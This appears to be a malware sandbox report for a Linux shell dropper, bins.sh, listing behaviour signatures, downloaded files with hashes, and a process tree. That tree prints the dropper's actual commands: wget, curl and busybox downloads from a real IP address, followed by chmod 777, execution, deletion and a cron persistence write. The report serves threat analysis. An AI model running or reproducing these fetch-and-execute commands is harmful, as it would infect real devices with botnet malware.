Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    13/11/2024, 13:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241113-qjcprssdpf
  • SHA256 812e12d6dad4d488f8b8d39147e247dbe6b94a9474f1f98f5c9962f115845618
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1925) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Writes file to tmp directory
          PID:708
        • /bin/chmod
          chmod 777 ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          ./ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://216.126.231.240/bins/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • File and Directory Permissions Modification
            PID:761
          • /tmp/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            ./hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
            • Executes dropped EXE
            PID:763
          • /bin/rm
            rm hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
            2⤵
              PID:766
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              2⤵
              • Writes file to tmp directory
              PID:767
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:778
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              2⤵
              • Writes file to tmp directory
              PID:779
            • /bin/chmod
              chmod 777 PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              2⤵
              • File and Directory Permissions Modification
              PID:780
            • /tmp/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              ./PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              2⤵
              • Executes dropped EXE
              PID:781
            • /bin/rm
              rm PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
              2⤵
                PID:783
              • /usr/bin/wget
                wget http://216.126.231.240/bins/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                2⤵
                • Writes file to tmp directory
                PID:784
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:785
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                2⤵
                • Writes file to tmp directory
                PID:786
              • /bin/chmod
                chmod 777 qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                2⤵
                • File and Directory Permissions Modification
                PID:787
              • /tmp/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                ./qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:788
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:790
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:791
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:792
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:793
                  • /bin/rm
                    rm qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                    2⤵
                      PID:795
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/laiau4cN6ui4dUhdtLO7AszWQd9X2AFpm2
                      2⤵
                        PID:798

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
                          • Path /tmp/ODyDGOBy0jWfMj4rS70h0ABjZ9FrSyCPFS
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                          • Path /tmp/PjAvsQ34CXXz5AUPTxNP12dYB1c5U6QSlV
                          • Size 99KB
                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
                          • Path /tmp/hyyy8OoKdR2pnpfqESxX1UDf85WaIQxNRR
                          • Size 151KB
                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                          • Path /tmp/qxaXERN0MRSdtfT8ZxxQnAdIbxB2u09DdQ
                          • Size 127KB
                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.8PrZaO
                          • Path /var/spool/cron/crontabs/tmp.8PrZaO
                          • Size 210B
                          • SHA256 93229d59de08acaf4a7121d6e78d30227497738b8b45eecb1b96f858335bae8c
                          • MD5 SHA1 SHA512
                          Submit Download